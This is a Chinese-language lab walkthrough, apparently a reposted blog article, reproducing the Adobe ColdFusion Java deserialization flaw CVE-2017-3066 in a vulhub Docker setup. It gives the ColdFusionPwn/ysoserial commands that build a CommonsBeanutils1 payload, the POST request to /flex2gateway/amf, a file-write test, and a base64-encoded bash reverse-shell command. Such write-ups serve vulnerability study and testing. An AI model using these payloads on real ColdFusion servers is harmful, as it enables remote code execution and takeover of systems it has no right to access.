如何实现Adobe ColdFusion 反序列化CVE-2017-3066漏洞复现
这篇文章将为大家详细讲解有关如何实现Adobe ColdFusion 反序列化CVE-2017-3066漏洞复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
Adobe ColdFusion 反序列化漏洞复现(CVE-2017-3066)
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。
0x00 漏洞环境
启动漏洞环境:
docker-compose up -d
等待数分钟时间,环境启动成功,访问http://your-ip:8500/CFIDE/administrator/index.cfm
,输入密码vulhub
,即可成功安装Adobe ColdFusion。
0x01 漏洞复现
1、命令执行写文件
我们使用参考链接中的ColdFusionPwn工具来生成POC:
ysoserial
ColdFusionPwn
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
POC生成于poc.ser文件中,将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf
,Content-Type为application/x-amf:
POST /flex2gateway/amf HTTP/1.1Host: your-ip:8500Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-amfContent-Length: 2853[...poc...]
进入容器中,发现/tmp/success
已成功创建:
2、反弹shell
将POC改成反弹命令,成功拿到shell:
!!!注意!这里需要把反弹shell的命令进行base64编码!
root@kali:~/ha/pocs/CVE-2017-3066-Adobe-ColdFusion-unserialization# java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" t.ser
关于如何实现Adobe ColdFusion 反序列化CVE-2017-3066漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。